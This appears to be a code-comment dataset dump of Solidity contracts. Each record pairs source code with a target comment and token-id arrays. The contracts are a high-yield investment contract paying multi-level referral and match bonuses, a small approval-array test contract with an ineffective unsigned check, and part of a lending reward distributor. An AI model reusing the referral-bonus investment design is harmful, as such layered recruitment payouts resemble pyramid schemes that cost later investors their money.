eth_min_withdraw_num && address(this).balance >= _eth_amount){ msg.sender.transfer(_eth_amount); playerTotals[msg.sender].total_eth_dividends += player.eth_dividends; total_eth_dividends += player.eth_dividends; player.eth_dividends = 0; } /* Grant referral bonus */ _referralPayout(msg.sender, token_amount); /* Grant shareholder full node bonus */ _shareHoldersFullNodePayout(token_amount); /* Grant shareholder single node bonus */ _shareHoldersSingleNodePayout(msg.sender, token_amount); /* Grant team match bonus*/ _matchPayout(msg.sender, token_amount); /* Update user total payout data */ _updatePlayerTotalPayout(msg.sender, token_amount); emit Withdraw(msg.sender, token_amount); } /* * @dev user do deposit redeem action,transfer the expire deposit's amount to user account */ function depositRedeem(uint256 _invest_id) payable external { Player storage player = players[msg.sender]; require(player.deposits.length >= _invest_id && _invest_id > 0, "Valid deposit id"); uint256 _index = _invest_id - 1; require(player.deposits[_index].expire < block.timestamp, "Invest not expired"); require(player.deposits[_index].status == 0, "Invest is redeemed"); /* formt deposit token amount */ uint256 _amount = player.deposits[_index].amount; uint256 token_amount = _getTokenAmount(_amount,invest_token_decimal); /* process token transfer action*/ //require(investToken.approve(address(this), 0), "approve failed"); require(investToken.approve(address(this), token_amount), "approve failed"); require(investToken.transferFrom(address(this), msg.sender, token_amount), "transferFrom failed"); /* update deposit status in redeem */ player.deposits[_index].status = 1; /* user quit crowd, cancel the shareholders role */ if(player.deposits[_index].is_crowd == 1){ player.is_crowd = 0; total_crowded_num -= 1; /* remove user to shareholder list*/ _removeShareholders(msg.sender); } /* update user token balance*/ player.total_invested -= _amount; /* update total invested/redeem amount */ total_invested -= _amount; total_redeem += _amount; /* update user referral and match invested amount*/ _updateReferralMatchInvestedAmount(msg.sender, _amount, -1); emit DepositRedeem(_invest_id); } /* * @dev Update Referral Match invest amount, total investor number, map investor address index */ function _updateReferralMatchInvestedAmount(address _addr,uint256 _amount,int8 op) private { if(op > 0){ playerTotals[_addr].total_match_invested += _amount; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; playerTotals[ref].total_match_invested += _amount; ref = players[ref].referral; } }else{ playerTotals[_addr].total_match_invested -= _amount; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; playerTotals[ref].total_match_invested -= _amount; ref = players[ref].referral; } } } /* * @dev Update user total payout data */ function _updatePlayerTotalPayout(address _addr,uint256 token_amount) private { Player storage player = players[_addr]; PlayerTotal storage playerTotal = playerTotals[_addr]; /* update user Withdraw total amount*/ player.total_withdrawn += token_amount; playerTotal.total_dividends += player.dividends; playerTotal.total_referral_bonus += player.referral_bonus; playerTotal.total_match_bonus += player.match_bonus; playerTotal.total_holder_full_bonus += player.holder_full_bonus; playerTotal.total_holder_single_bonus += player.holder_single_bonus; /* update platform total data*/ total_withdrawn += token_amount; total_dividends += player.dividends; total_referral_bonus += player.referral_bonus; total_match_bonus += player.match_bonus; total_holder_full_bonus += player.holder_full_bonus; total_holder_single_bonus += player.holder_single_bonus; uint256 _platform_bonus = (token_amount * platform_bonus_rate / 100); total_platform_bonus += _platform_bonus; /* update platform address bonus*/ players[platform_bonus_address].match_bonus += _platform_bonus; /* reset user bonus data */ player.dividends = 0; player.referral_bonus = 0; player.match_bonus = 0; player.holder_full_bonus = 0; player.holder_single_bonus = 0; } /* * @dev update user referral data */ function _setReferral(address _addr, address _referral) private { /* if user referral is not set */ if(players[_addr].referral == address(0) && _referral != _addr) { players[_addr].referral = _referral; /* update user referral address list*/ players[_referral].referrals.push(_addr); } } /* * @dev Grant user referral bonus in user withdraw */ function _referralPayout(address _addr, uint256 _amount) private { address ref = players[_addr].referral; uint256 _day_payout = _payoutOfDay(_addr); if(_day_payout == 0) return; for(uint8 i = 0; i < referral_bonuses.length; i++) { if(ref == address(0)) break; uint256 _ref_day_payout = _payoutOfDay(ref); uint256 _token_amount = _amount; /* user bonus double burn */ if(_ref_day_payout * 2 < _day_payout){ _token_amount = _token_amount * (_ref_day_payout * 2) / _day_payout; } uint256 bonus = _token_amount * referral_bonuses[i] / 100; players[ref].referral_bonus += bonus; //emit ReferralPayout(ref, bonus, (i+1)); ref = players[ref].referral; } } /* * @dev Grant shareholder full node bonus in user withdraw */ function _shareHoldersFullNodePayout(uint256 _amount) private { if(total_crowded_num == 0) return; uint256 bonus = _amount * shareholder_full_bonus_rate / 100 / total_crowded_num; for(uint8 i = 0; i < shareholders.length; i++) { address _addr = shareholders[i]; players[_addr].holder_full_bonus += bonus; } } /* * @dev Grant shareholder single node bonus in user withdraw */ function _shareHoldersSingleNodePayout(address _addr,uint256 _amount) private { uint256 bonus = _amount * shareholder_single_bonus_rate / 100; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; if(players[ref].is_crowd == 1){ players[ref].holder_single_bonus += bonus; break; } ref = players[ref].referral; } } /* * @dev Grant Match bonus in user withdraw */ function _matchPayout(address _addr,uint256 _amount) private { /* update player team level */ _upgradePlayerTeamLevel(_addr); uint256 last_level_id = players[_addr].level_id; /* player is max team level, quit */ if(last_level_id == team_level_ids[team_level_ids.length-1]) return; address ref = players[_addr].referral; while(true){ if(ref == address(0)) break; /* upgrade player team level id*/ _upgradePlayerTeamLevel(ref); if(players[ref].level_id > last_level_id){ uint256 last_level_bonus = 0; if(last_level_id > 0){ last_level_bonus = team_level_bonuses[last_level_id-1]; } uint256 cur_level_bonus = team_level_bonuses[players[ref].level_id-1]; uint256 bonus_amount = _amount * (cur_level_bonus - last_level_bonus) / 100; players[ref].match_bonus += bonus_amount; last_level_id = players[ref].level_id; /* referral is max team level, quit */ if(last_level_id == team_level_ids[team_level_ids.length-1]) break; } ref = players[ref].referral; } } /* * @dev upgrade player team level id */ function _upgradePlayerTeamLevel(address _addr) private { /* get community total invested*/ uint256 community_total_invested = _getCommunityTotalInvested(_addr); uint256 level_id = 0; for(uint8 i=0; i < team_level_ids.length; i++){ if(community_total_invested >= team_level_amounts[i]){ level_id = team_level_ids[i]; } } players[_addr].level_id = level_id; } /* * @dev Get community total invested */ function _getCommunityTotalInvested(address _addr) view private returns(uint256 value) { address[] memory referrals = players[_addr].referrals; uint256 nodes_max_invested = 0; uint256 nodes_total_invested = 0; for(uint256 i=0;i<referrals.length;i++){ address ref = referrals[i]; nodes_total_invested += playerTotals[ref].total_match_invested; if(playerTotals[ref].total_match_invested > nodes_max_invested){ nodes_max_invested = playerTotals[ref].total_match_invested; } } return (nodes_total_invested - nodes_max_invested); } /* * @dev user withdraw, user devidends data update */ function _payout(address _addr) private { uint256 payout = this.payoutOf(_addr); uint256 payout_eth = this.payoutEthOf(_addr); if(payout > 0) { _updateTotalPayout(_addr); players[_addr].last_payout = uint256(block.timestamp); players[_addr].dividends += payout; players[_addr].eth_dividends += payout_eth; } } /* * @dev format token amount with token decimal */ function _getTokenAmount(uint256 _amount,uint256 _token_decimal) pure private returns(uint256 token_amount) { uint256 token_decimals = 10 ** _token_decimal; token_amount = _amount * token_decimals; return token_amount; } /* * @dev update user total withdraw data */ function _updateTotalPayout(address _addr) private { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount,dep.period); player.deposits[i].total_withdraw += _day_payout * (to - from) / 86400; } } } /* * @dev get the invest period rate, if total yield reached reduce limit, invest day rate will be reduce */ function _getInvestDayPayoutOf(uint256 _amount, uint256 _month) view private returns(uint256 value) { /* get invest period base rate*/ uint256 period_month_rate = invest_period_month_rates[0]; for(uint256 i = 0; i < invest_period_months.length; i++) { if(invest_period_months[i] == _month){ period_month_rate = invest_period_month_rates[i]; break; } } /* format amount with token decimal */ uint256 token_amount = _getTokenAmount(_amount, invest_token_decimal); value = token_amount * period_month_rate / 30 / 10000; if(value > 0){ /* total yield reached 2,000,000,start first reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section1[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section1[1]) / 100; } /* total yield reached 5,000,000,start second reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section2[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section2[1]) / 100; } /* total yield reached 9,000,000,start third reduce */ if(total_withdrawn >= _getTokenAmount(yield_reduce_section3[0], invest_token_decimal)){ value = value * (100 - yield_reduce_section3[1]) / 100; } } return value; } /* * @dev get user deposit day total pending profit * @return user pending payout amount */ function payoutOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount,dep.period); value += _day_payout * (to - from) / 86400; } } return value; } /* * @dev get user deposit day total pending eth profit * @return user pending payout eth amount */ function payoutEthOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; uint256 eth_usd_price = getEthLatestPrice(); for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(from < to && dep.status == 0) { uint256 token_amount = _getTokenAmount(dep.amount, invest_token_decimal); uint256 _day_eth_payout = (token_amount * invest_reward_eth_month_rate / 1000 / 30) * (invest_coin_usd_price * (10**8)) / eth_usd_price * (10 ** (18 - invest_token_decimal)); value += _day_eth_payout * (to - from) / 86400; } } return value; } /* * @dev get user deposit day total pending profit * @return user pending payout amount */ function _payoutOfDay(address _addr) view private returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; //uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time; //uint256 to = block.timestamp > dep.expire ? dep.expire : uint256(block.timestamp); if(dep.status == 0) { uint256 _day_payout = _getInvestDayPayoutOf(dep.amount, dep.period); value += _day_payout; } } return value; } /* * @dev Remove shareholders of the special address */ function _removeShareholders(address _addr) private { for (uint index = 0; index < shareholders.length; index++) { if(shareholders[index] == _addr){ for (uint i = index; i < shareholders.length-1; i++) { shareholders[i] = shareholders[i+1]; } delete shareholders[shareholders.length-1]; break; } } } /* * @dev get contract data info * @return total invested,total investor number,total withdraw,total referral bonus */ function contractInfo() view external returns(uint256 _total_invested, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_dividends, uint256 _total_referral_bonus, uint256 _total_platform_bonus, uint256 _total_crowded_num,uint256[] memory _invest_periods,uint256 _crowd_limit_amount,uint256 _crowd_period_month,uint256 _eth_min_withdraw_num,uint256 _total_holder_bonus,uint256 _total_eth_dividends,uint256 _total_match_bonus) { return ( total_invested, total_investors, total_withdrawn, total_dividends, total_referral_bonus, total_platform_bonus, total_crowded_num, invest_period_months, CROWD_LIMIT_AMOUNT, crowd_period_month, eth_min_withdraw_num, total_holder_full_bonus + total_holder_single_bonus, total_eth_dividends, total_match_bonus ); } /* * @dev get user info * @return pending withdraw amount,referral,rreferral num etc. */ function userInfo(address _addr) view external returns(address _referral, uint256 _referral_num, uint256 _is_crowd, uint256 _dividends, uint256 _eth_dividends, uint256 _referral_bonus, uint256 _match_bonus, uint256 _holder_single_bonus, uint256 _holder_full_bonus,uint256 _last_payout) { Player storage player = players[_addr]; return ( player.referral, player.referrals.length, player.is_crowd, player.dividends, player.eth_dividends, player.referral_bonus, player.match_bonus, player.holder_single_bonus, player.holder_full_bonus, player.last_payout ); } /* * @dev get user info * @return pending withdraw amount,referral bonus, total deposited, total withdrawn etc. */ function userInfoTotals(address _addr) view external returns(uint256 _total_invested, uint256 _total_withdrawn, uint256 _total_community_invested, uint256 _total_match_invested, uint256 _total_dividends, uint256 _total_referral_bonus, uint256 _total_match_bonus, uint256 _total_holder_full_bonus, uint256 _total_holder_single_bonus, uint256 _total_math_invested,uint256 _total_eth_dividends) { Player storage player = players[_addr]; PlayerTotal storage playerTotal = playerTotals[_addr]; /* get community total invested*/ uint256 total_community_invested = _getCommunityTotalInvested(_addr); return ( player.total_invested, player.total_withdrawn, //player.total_redeem, total_community_invested, playerTotal.total_match_invested, playerTotal.total_dividends, playerTotal.total_referral_bonus, playerTotal.total_match_bonus, playerTotal.total_holder_full_bonus, playerTotal.total_holder_single_bonus, playerTotal.total_match_invested, playerTotal.total_eth_dividends ); } /* * @dev get user investment list */ function getInvestList(address _addr) view external returns(uint256[] memory ids,uint256[] memory times, uint256[] memory amounts, uint256[] memory withdraws,uint256[] memory endTimes,uint256[] memory statuses) { Player storage player = players[_addr]; uint256[] memory _ids = new uint256[](player.deposits.length); uint256[] memory _times = new uint256[](player.deposits.length); uint256[] memory _endTimes = new uint256[](player.deposits.length); uint256[] memory _amounts = new uint256[](player.deposits.length); uint256[] memory _withdraws = new uint256[](player.deposits.length); uint256[] memory _statuses = new uint256[](player.deposits.length); for(uint256 i = 0; i < player.deposits.length; i++) { PlayerDeposit storage dep = player.deposits[i]; _ids[i] = dep.id; _amounts[i] = dep.amount; _withdraws[i] = dep.total_withdraw; _times[i] = dep.time; _endTimes[i] = dep.expire; _statuses[i] = dep.status; } return ( _ids, _times, _amounts, _withdraws, _endTimes, _statuses ); } /** * @dev get the eth/usd lastest price * @return the eth/usd latest price, price decimal: 8 */ function getEthLatestPrice() public view returns (uint256) { int256 price= ethPriceFeed.latestAnswer(); return uint256(price); } }
Grant referral bonus */
_referralPayout(msg.sender, token_amount);
1,148,318
[ 1, 9021, 1278, 29084, 324, 22889, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 1734, 29084, 52, 2012, 12, 3576, 18, 15330, 16, 1147, 67, 8949, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; contract testingArarys { struct User { address[ARRAY_MAX_SIZE] pendingApproval; // used to keep track of what is the mapping uint numAddresses; mapping(address => uint) index; } mapping(address => User) private users; uint constant ARRAY_MAX_SIZE = 3; constructor() public { } function requestForApproval(address _requestee) public { // Check that max number hasn't been hit. require((users[_requestee].numAddresses + 1) <= ARRAY_MAX_SIZE); // Check that requestor hasn't requested previously. uint index = users[_requestee].index[msg.sender]; // will default to 0 if uninitialized require(users[_requestee].pendingApproval[index] != msg.sender); // Since the index in pendingApproval is not the requestor, get new index index = users[_requestee].numAddresses; users[_requestee].pendingApproval[index] = msg.sender; // Add requestor to pendingApproval users[_requestee].index[msg.sender] = index; // updating index mapping users[_requestee].numAddresses ++; // increment number of addresses // emit event } // Note that order within the array doesn't matter for me that's why I'm able to do this. function removeRequest(address _requestor) public { // Check that the min num hasn't been hit require((users[msg.sender].numAddresses - 1) >= 0); // Check that the requestor exists uint index = users[msg.sender].index[_requestor]; require(users[msg.sender].pendingApproval[index] == _requestor); // Replace last address with the requestor's index from pendingApproval, update index mapping then remove last index uint lastIndex = users[msg.sender].numAddresses - 1; address lastAddress = users[msg.sender].pendingApproval[lastIndex]; users[msg.sender].pendingApproval[index] = lastAddress; users[msg.sender].index[lastAddress] = index; // delete last index and reduce size delete users[msg.sender].pendingApproval[lastIndex]; users[msg.sender].numAddresses --; } function getRequests(address _requestee) public view returns (address[ARRAY_MAX_SIZE], uint) { return (users[_requestee].pendingApproval, users[_requestee].numAddresses); } }
Add requestor to pendingApproval
users[_requestee].pendingApproval[index] = msg.sender;
12,978,903
[ 1, 986, 590, 280, 358, 4634, 23461, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3677, 63, 67, 2293, 1340, 8009, 9561, 23461, 63, 1615, 65, 273, 1234, 18, 15330, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./interface/IiToken.sol"; import "./interface/IRewardDistributorV3.sol"; import "./interface/IPriceOracle.sol"; import "./library/Initializable.sol"; import "./library/Ownable.sol"; import "./library/SafeRatioMath.sol"; import "./Controller.sol"; /** * @title dForce's lending reward distributor Contract * @author dForce */ contract RewardDistributorV3 is Initializable, Ownable, IRewardDistributorV3 { using SafeRatioMath for uint256; using SafeMathUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; /// @notice the controller Controller public controller; /// @notice the global Reward distribution speed uint256 public globalDistributionSpeed; /// @notice the Reward distribution speed of each iToken mapping(address => uint256) public distributionSpeed; /// @notice the Reward distribution factor of each iToken, 1.0 by default. stored as a mantissa mapping(address => uint256) public distributionFactorMantissa; struct DistributionState { // Token's last updated index, stored as a mantissa uint256 index; // The block number the index was last updated at uint256 block; } /// @notice the Reward distribution supply state of each iToken mapping(address => DistributionState) public distributionSupplyState; /// @notice the Reward distribution borrow state of each iToken mapping(address => DistributionState) public distributionBorrowState; /// @notice the Reward distribution state of each account of each iToken mapping(address => mapping(address => uint256)) public distributionSupplierIndex; /// @notice the Reward distribution state of each account of each iToken mapping(address => mapping(address => uint256)) public distributionBorrowerIndex; /// @notice the Reward distributed into each account mapping(address => uint256) public reward; /// @notice the Reward token address address public rewardToken; /// @notice whether the reward distribution is paused bool public paused; /// @notice the Reward distribution speed supply side of each iToken mapping(address => uint256) public distributionSupplySpeed; /// @notice the global Reward distribution speed for supply uint256 public globalDistributionSupplySpeed; /** * @dev Throws if called by any account other than the controller. */ modifier onlyController() { require( address(controller) == msg.sender, "onlyController: caller is not the controller" ); _; } /** * @notice Initializes the contract. */ function initialize(Controller _controller) external initializer { require( address(_controller) != address(0), "initialize: controller address should not be zero address!" ); __Ownable_init(); controller = _controller; paused = true; } /** * @notice set reward token address * @dev Admin function, only owner can call this * @param _newRewardToken the address of reward token */ function _setRewardToken(address _newRewardToken) external override onlyOwner { address _oldRewardToken = rewardToken; require( _newRewardToken != address(0) && _newRewardToken != _oldRewardToken, "Reward token address invalid" ); rewardToken = _newRewardToken; emit NewRewardToken(_oldRewardToken, _newRewardToken); } /** * @notice Add the iToken as receipient * @dev Admin function, only controller can call this * @param _iToken the iToken to add as recipient * @param _distributionFactor the distribution factor of the recipient */ function _addRecipient(address _iToken, uint256 _distributionFactor) external override onlyController { distributionFactorMantissa[_iToken] = _distributionFactor; distributionSupplyState[_iToken] = DistributionState({ index: 0, block: block.number }); distributionBorrowState[_iToken] = DistributionState({ index: 0, block: block.number }); emit NewRecipient(_iToken, _distributionFactor); } /** * @notice Pause the reward distribution * @dev Admin function, pause will set global speed to 0 to stop the accumulation */ function _pause() external override onlyOwner { // Set the global distribution speed to 0 to stop accumulation address[] memory _iTokens = controller.getAlliTokens(); uint256 _len = _iTokens.length; for (uint256 i = 0; i < _len; i++) { _setDistributionBorrowSpeed(_iTokens[i], 0); _setDistributionSupplySpeed(_iTokens[i], 0); } _refreshGlobalDistributionSpeeds(); _setPaused(true); } /** * @notice Unpause and set distribution speeds * @dev Admin function * @param _borrowiTokens The borrow asset array * @param _borrowSpeeds The borrow speed array * @param _supplyiTokens The supply asset array * @param _supplySpeeds The supply speed array */ function _unpause( address[] calldata _borrowiTokens, uint256[] calldata _borrowSpeeds, address[] calldata _supplyiTokens, uint256[] calldata _supplySpeeds ) external override onlyOwner { _setPaused(false); _setDistributionSpeedsInternal( _borrowiTokens, _borrowSpeeds, _supplyiTokens, _supplySpeeds ); _refreshGlobalDistributionSpeeds(); } /** * @notice Pause/Unpause the reward distribution * @dev Admin function * @param _paused whether to pause/unpause the distribution */ function _setPaused(bool _paused) internal { paused = _paused; emit Paused(_paused); } /** * @notice Set distribution speeds * @dev Admin function, will fail when paused * @param _borrowiTokens The borrow asset array * @param _borrowSpeeds The borrow speed array * @param _supplyiTokens The supply asset array * @param _supplySpeeds The supply speed array */ function _setDistributionSpeeds( address[] calldata _borrowiTokens, uint256[] calldata _borrowSpeeds, address[] calldata _supplyiTokens, uint256[] calldata _supplySpeeds ) external onlyOwner { require(!paused, "Can not change speeds when paused"); _setDistributionSpeedsInternal( _borrowiTokens, _borrowSpeeds, _supplyiTokens, _supplySpeeds ); _refreshGlobalDistributionSpeeds(); } function _setDistributionSpeedsInternal( address[] memory _borrowiTokens, uint256[] memory _borrowSpeeds, address[] memory _supplyiTokens, uint256[] memory _supplySpeeds ) internal { _setDistributionBorrowSpeedsInternal(_borrowiTokens, _borrowSpeeds); _setDistributionSupplySpeedsInternal(_supplyiTokens, _supplySpeeds); } /** * @notice Set borrow distribution speeds * @dev Admin function, will fail when paused * @param _iTokens The borrow asset array * @param _borrowSpeeds The borrow speed array */ function _setDistributionBorrowSpeeds( address[] calldata _iTokens, uint256[] calldata _borrowSpeeds ) external onlyOwner { require(!paused, "Can not change borrow speeds when paused"); _setDistributionBorrowSpeedsInternal(_iTokens, _borrowSpeeds); _refreshGlobalDistributionSpeeds(); } /** * @notice Set supply distribution speeds * @dev Admin function, will fail when paused * @param _iTokens The supply asset array * @param _supplySpeeds The supply speed array */ function _setDistributionSupplySpeeds( address[] calldata _iTokens, uint256[] calldata _supplySpeeds ) external onlyOwner { require(!paused, "Can not change supply speeds when paused"); _setDistributionSupplySpeedsInternal(_iTokens, _supplySpeeds); _refreshGlobalDistributionSpeeds(); } function _refreshGlobalDistributionSpeeds() internal { address[] memory _iTokens = controller.getAlliTokens(); uint256 _len = _iTokens.length; uint256 _borrowSpeed; uint256 _supplySpeed; for (uint256 i = 0; i < _len; i++) { _borrowSpeed = _borrowSpeed.add(distributionSpeed[_iTokens[i]]); _supplySpeed = _supplySpeed.add( distributionSupplySpeed[_iTokens[i]] ); } globalDistributionSpeed = _borrowSpeed; globalDistributionSupplySpeed = _supplySpeed; emit GlobalDistributionSpeedsUpdated(_borrowSpeed, _supplySpeed); } function _setDistributionBorrowSpeedsInternal( address[] memory _iTokens, uint256[] memory _borrowSpeeds ) internal { require( _iTokens.length == _borrowSpeeds.length, "Length of _iTokens and _borrowSpeeds mismatch" ); uint256 _len = _iTokens.length; for (uint256 i = 0; i < _len; i++) { _setDistributionBorrowSpeed(_iTokens[i], _borrowSpeeds[i]); } } function _setDistributionSupplySpeedsInternal( address[] memory _iTokens, uint256[] memory _supplySpeeds ) internal { require( _iTokens.length == _supplySpeeds.length, "Length of _iTokens and _supplySpeeds mismatch" ); uint256 _len = _iTokens.length; for (uint256 i = 0; i < _len; i++) { _setDistributionSupplySpeed(_iTokens[i], _supplySpeeds[i]); } } function _setDistributionBorrowSpeed(address _iToken, uint256 _borrowSpeed) internal { // iToken must have been listed require(controller.hasiToken(_iToken), "Token has not been listed"); // Update borrow state before updating new speed _updateDistributionState(_iToken, true); distributionSpeed[_iToken] = _borrowSpeed; emit DistributionBorrowSpeedUpdated(_iToken, _borrowSpeed); } function _setDistributionSupplySpeed(address _iToken, uint256 _supplySpeed) internal { // iToken must have been listed require(controller.hasiToken(_iToken), "Token has not been listed"); // Update supply state before updating new speed _updateDistributionState(_iToken, false); distributionSupplySpeed[_iToken] = _supplySpeed; emit DistributionSupplySpeedUpdated(_iToken, _supplySpeed); } /** * @notice Update the iToken's Reward distribution state * @dev Will be called every time when the iToken's supply/borrow changes * @param _iToken The iToken to be updated * @param _isBorrow whether to update the borrow state */ function updateDistributionState(address _iToken, bool _isBorrow) external override { // Skip all updates if it is paused if (paused) { return; } _updateDistributionState(_iToken, _isBorrow); } function _updateDistributionState(address _iToken, bool _isBorrow) internal { 